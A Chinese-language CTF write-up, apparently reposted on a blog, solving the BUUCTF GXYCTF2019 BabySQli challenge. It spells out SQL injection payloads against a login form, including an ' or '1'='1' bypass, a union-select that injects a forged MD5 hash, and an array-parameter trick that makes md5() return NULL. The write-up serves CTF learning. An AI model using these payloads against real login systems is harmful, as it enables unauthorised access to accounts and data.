BUUCTF-[GXYCTF2019]BabySQli 1詳解


babysqli 注入題,打開一個簡易的登錄框,覺得出題人好像不是個完美主義者,登錄框做的很爛,但是我是個弟弟,還是要說出題人牛逼

好了,廢話不多說,我們填寫賬號密碼,先用

username:admin

password:admin

告訴我,wrong pass!

然后我們再試試萬能密碼,

username:admin' or '1'='1'#

password:隨意填

然后告訴我do not hack me!

我索性看了下源碼,里面有一段數據被注釋了,看似base32,等我們base32解碼出來,再來個base64解碼

select * from user where username = '$name'

得到了這個sql語句,意思是我們需要傳入個name變量,然后我們構造payload,因為我們需要post傳參,於是我們采用bp抓包

 

 我們如果給name的值不是admin,然后提示錯誤,wrong user!

傳admin,提示wrong pass!

我們把admin 放到第二個位置 不報錯

 

 這樣我們就得到第二個字段就是我們的username字段

緊接着下一步,我也不太會於是就看了大佬博客說有md5提示,我也沒發現,

於是盲從后台登錄邏輯

<?php$row;
$pass=$_POST['pw'];
if($row['username']==’admin’){
if($row['password']==md5($pass)){ 
echo $flag; 
}else{ echo “wrong pass!”; 
}}
else{ echo “wrong user!”;}

  在執行password框中的內容等於md5(框中的內容),如果相等則密碼正確,於是我們構造吧

password:adc

md5(adc):225e8a3fe20e95f6cd9b9e10bfe5eb69

於是構造payload:name=1' union select 1,2,'225e8a3fe20e95f6cd9b9e10bfe5eb69'#&pw=adc

因為有md5我想到了md5不能處理數組,如果是數組則會返回NULL

構造payload:name=ad' union select 1,'admin',NULL#&pw[]=123

也可返回flag。 抓包改包就完事。

得到flag

 

 參考鏈接


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM